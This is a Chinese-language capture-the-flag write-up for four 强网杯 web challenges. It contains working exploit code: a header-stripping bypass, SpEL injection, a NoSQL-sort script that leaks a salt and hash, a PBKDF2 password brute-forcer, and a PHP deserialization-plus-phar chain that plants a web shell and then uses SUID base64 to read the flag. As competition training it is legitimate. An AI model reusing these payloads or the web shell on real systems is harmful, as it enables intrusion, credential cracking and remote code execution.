强网杯

web

SecretVault

考点参考如下文章
Hop-by-hop header vulnerability in Go Standard Library Reverse Proxy
漏洞点在uid = request.headers.get('X-User', '0')
X-User为空时,默认值为0
而admin的uid刚好为0
所以当我们利用文章中的payload在Connection中加入X-User,即可在代理加入X-User头后再次将其删除,payload如下
Connection: close,X-User

成功拿到flag

bbjv

关键代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@RestController
public class GatewayController {
private final EvaluationService evaluationService;

public GatewayController(EvaluationService evaluationService) {
this.evaluationService = evaluationService;
}

@GetMapping({"/check"})
public String checkRule(@RequestParam String rule) throws FileNotFoundException {
String result = this.evaluationService.evaluate(rule);
File flagFile = new File(System.getProperty("user.home"), "flag.txt");
if (flagFile.exists()) {
try (BufferedReader br = new BufferedReader(new FileReader(flagFile))) {
String content = br.readLine();
result = result + "<br><b>\ud83d\udea9 Flag:</b> " + content;
} catch (IOException e) {
throw new RuntimeException(e);
}
}

return result;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@Service
public class EvaluationService {
private final ExpressionParser parser = new SpelExpressionParser();
private final EvaluationContext context;

public EvaluationService(EvaluationContext context) {
this.context = context;
}

public String evaluate(String expression) {
try {
Object result = this.parser.parseExpression(expression, new TemplateParserContext()).getValue(this.context);
return "Result: " + String.valueOf(result);
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}

存在waf

1
2
3
4
5
6
7
8
public class SecurePropertyAccessor extends ReflectivePropertyAccessor {
public SecurePropertyAccessor() {
}

public boolean canRead(EvaluationContext context, Object target, String name) throws AccessException {
return false;
}
}

思路很直接,就是SPEL注入获取flag,但是waf禁止了属性读取,flag在tmp目录下,修改user.home为tmp即可
#{#systemProperties['user.home'] = '/tmp'}

获得flag

anime

搜索到相关题目HCMUS-CTF-2025:MAL
利用users的排序功能进行hash爆破,不同的地方为由于是公共靶机,用户不止目标用户,修改代码为读取尽可能多的用户,比较目标用户和注册用户的顺序
payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests
from bs4 import BeautifulSoup

URL = "http://47.105.120.74:1010"
wordlist = [i for i in "0123456789abcdefghijklmnopqrstuvwxyz"]

session = requests.Session()
cookies = {
"session": "eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJhYWFhYSJ9fQ==",
"session.sig": "qwfttVYZITX4KfPxoYlmxKACquo"
}

# Viết lại script để tự động hóa quy trình register

salt = ""
for index_salt in range(32):
for i in range(len(wordlist)):
data = {
"data.fullname": "abc",
"data.email": "",
"data.phone": "",
"data.website": "",
"secret[$ne]": "null",
"data.address.street": "",
"data.address.city": "",
"data.address.state": "",
"data.address.zip": "",
"salt": f"{salt}{wordlist[i]}"
}

res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False)
res = session.get(f"{URL}/users?limit=600&sort=salt", cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
users = soup.find_all('a', {'class': 'anime_title'})
usernames = [u.text.strip() for u in users]
name1 = "TTXSMcc"
name2 = "aaaaa"
idx1=0
idx2=0
if name1 in usernames and name2 in usernames:
idx1 = usernames.index(name1)
idx2 = usernames.index(name2)
if idx1 < idx2:
if index_salt == 31:
salt += wordlist[i]
break
salt += wordlist[i - 1]
print(f"Found salt: {salt}")
break
print(f"Final salt: {salt}")

hashed = ""
for index_salt in range(64):
for i in range(len(wordlist)):
data = {
"data.fullname": "abc",
"data.email": "",
"data.phone": "",
"data.website": "",
"secret[$ne]": "null",
"data.address.street": "",
"data.address.city": "",
"data.address.state": "",
"data.address.zip": "",
"hash": f"{hashed}{wordlist[i]}"
}

res = session.post(f"{URL}/user/aaaaa/edit", data=data, cookies=cookies, allow_redirects=False)
res = session.get(f"{URL}/users?limit=600&sort=hash", cookies=cookies)
soup = BeautifulSoup(res.text, 'html.parser')
users = soup.find_all('a', {'class': 'anime_title'})
usernames = [u.text.strip() for u in users]
name1 = "TTXSMcc"
name2 = "aaaaa"
idx1=0
idx2=0
if name1 in usernames and name2 in usernames:
idx1 = usernames.index(name1)
idx2 = usernames.index(name2)
if idx1 < idx2:
if index_salt == 63:
hashed += wordlist[i]
break

hashed += wordlist[i - 1]
print(f"Found hashed: {hashed}")
break
print(f"Final hash: {hashed}")
print(f"Final salt: {salt}")



得到hash和salt,再爆破5位数字
c8eb3c22ae12612355a8b73d0e0ccbdb
2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const crypto = require("crypto");

const salt = "c8eb3c22ae12612355a8b73d0e0ccbdb";
const target_hash =
"2d37f432e875c5513a5d9967c3968ec8c29c9d2d75d86302b75488d275d48c98";

for (let i = 10000; i <= 99999; i++) {
const password = i.toString().padStart(5, "0");
const hash = crypto
.pbkdf2Sync(password, salt, 25000, 32, "sha256")
.toString("hex");
if (hash === target_hash) {
console.log("Found password:", password);
process.exit(0);
}
if (i % 1000 === 0) {
console.log("Tried:", password);
}
}
console.log("Password not found");

爆破得到密码89195

然后登录
发现秘钥已被缓存,并且网站上出现的密钥不是flag
利用大小写不敏感的特性,将url中的TTXSMcc转换为大写或小写,即可得到flag

ezphp

源代码

1
<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));

base64解码出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
public $readflag;
public $f;
public $key;

public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');
$filename = $GLOBALS['filename'];
$seed = $time . intval($filename);
mt_srand($seed);
$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) {
unlink($file);
}
}
$randomStr = generateRandomString(8);
$newFilename = $time . '.' . $randomStr . '.' . 'jpg';
$GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name'];
$uploadPath = $uploadDir . $newFilename;
if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

public function __wakeup() {
phpinfo();
}

public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) {
die("error");
}
$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
}

public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

从__destruct入手可以实例化一个类或者调用一个方法,而test的__construct会定义一个匿名类,并在其中定义一个匿名函数readflag,然后还可以上传文件,但是文件名不可控
先调用phpinfo看看,payload
O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}

得知重点为得知php版本为7.4.33,然后禁用了很多函数
先试一试文件上传,测试发现rand和mt_srand的种子共用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

date_default_timezone_set('Asia/Shanghai');

function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
echo $r . " ";
$randomString .= $characters[$r];
}
return $randomString;
}
$filename=1;
while(True)
{
$time = date('Hi');
$filename=1;
$seed = $time . intval($filename);
echo $seed."\n";
mt_srand($seed);
$randomStr = generateRandomString(8);
echo $randomStr."\n";
sleep(1);
}


发现在上传文件时,文件名是根据时间和随机字符串生成的,而随机字符串是根据时间和文件名的种子生成的,所以可以在本地跑脚本,在得到预期的文件名后再上传,即可控制并预测文件名,但是文件名只有a-z,不能从system处进行RCE
再看看readflag函数,想办法直接调用匿名函数,找到相关文章
知识星球2023年10月PHP函数小挑战
尝试在本地调试,找到另一个关于调试的文章
vscode远程调试php底层代码
本地搭建环境进行调试,找到对应readflag对应的函数名\0readflag/var/www/html/index.php(1) : eval()'d code:1$1b

编写代码尝试调用

注意由于最后$后的数字会随着调用次数自增,所以攻击时未成功可以尝试重开靶机
测试题目后,未报错但显示白页,说明成功调用readflag函数。
接下来就是readflag函数的理由可以进行文件包含,但是不能出现php,搜索到phar相关trick文章当include邂逅phar
简单来说,就是通过分析php源码发现只要include的文件名包含phar即可触发源码中处理phar文件的函数
而刚好我们可以预测文件名,就可以在本地跑出来一个带有phar的文件名然后再上传,即可在后续的包含中触发phar解析
我们搞一个phar写马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('echo "<?php system(\$_GET[1]); ?>" > 1.php');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

改名为1,gzip压缩
gzip 1
然后爆破一下前4位为phar的种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

date_default_timezone_set('Asia/Shanghai');

function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}
$filename=1;
while(True)
{
$time = date('Hi');
$seed = $time . intval($filename);
$filename++;
mt_srand($seed);
$randomStr = generateRandomString(4);
if ($randomStr == "phar") {
echo $time . " " . $seed . " " . $randomStr . "\n";
break;
}
}

得到结果1556 155618715 phar
即在该分钟内传入18715作为readflag即可触发phar解析
生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php

function generateRandomString($length = 8)
{
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++)
{
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test
{
public $readflag;
public $f;
public $key;

public function __construct()
{
// $this->readflag = new class {
// public function __construct()
// {
// if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
// $time = date('Hi');
// $filename = $GLOBALS['filename'];
// $seed = $time . intval($filename);
// mt_srand($seed);
// $uploadDir = 'uploads/';
// $files = glob($uploadDir . '*');
// foreach ($files as $file) {
// if (is_file($file)) unlink($file);
// }
// $randomStr = generateRandomString(8);
// $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
// $GLOBALS['file'] = $newFilename;
// $uploadedFile = $_FILES['file']['tmp_name'];
// $uploadPath = $uploadDir . $newFilename;
// if (system("cp ".$uploadedFile." ". $uploadPath)) {
// echo "success upload!";
// } else {
// echo "error";
// }
// }
// }

// public function __wakeup()
// {
// phpinfo();
// }

// public function readflag()
// {
// function readflag()
// {
// if (isset($GLOBALS['file'])) {
// $file = $GLOBALS['file'];
// $file = basename($file);
// if (preg_match('/:\/\//', $file)) die("error");
// $file_content = file_get_contents("uploads/" . $file);
// if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
// die("Illegal content detected in the file.");
// }
// include("uploads/" . $file);
// }
// }
// }
// };
}

// public function __destruct()
// {
// $func = $this->f;
// $GLOBALS['filename'] = $this->readflag;
// if ($this->key == 'class') {
// new $func();
// } else if ($this->key == 'func') {
// $func();
// } else {
// highlight_file('index.php');
// }
// }
}
// $a=new test();
// $a->f="phpinfo";
// $a->key="func";
// print_r(serialize($a));
// print_r(urlencode(serialize($a)));
$x = new test();
$x->key = "class";
$x->f = "test";
$x->readflag ='18715';
$b=new test();
$b->readflag='18715';
$b->f="\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";
$b->key='func';
$c=[$b,$x];
print_r(serialize($c));
print_r(urlencode(serialize($c)));

a:2:{i:0;O:4:"test":3:{s:8:"readflag";s:5:"18715";s:1:"f";s:56:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:8:"readflag";s:5:"18715";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}}
然后传入payload即可触发phar解析

1
2
3
4
5
import requests
target = 'http://localhost:8080/'
pay = 'a:2:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"435436";s:1:"f";s:56:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:8:"readflag";s:6:"435436";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}}'
res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))})
print(res.text)

成功上传1.php的shell,连接后需要提权
find / -user root -perm -4000 -print 2>/dev/null
发现有base64,直接读即可
base64 "/flag" | base64 --decode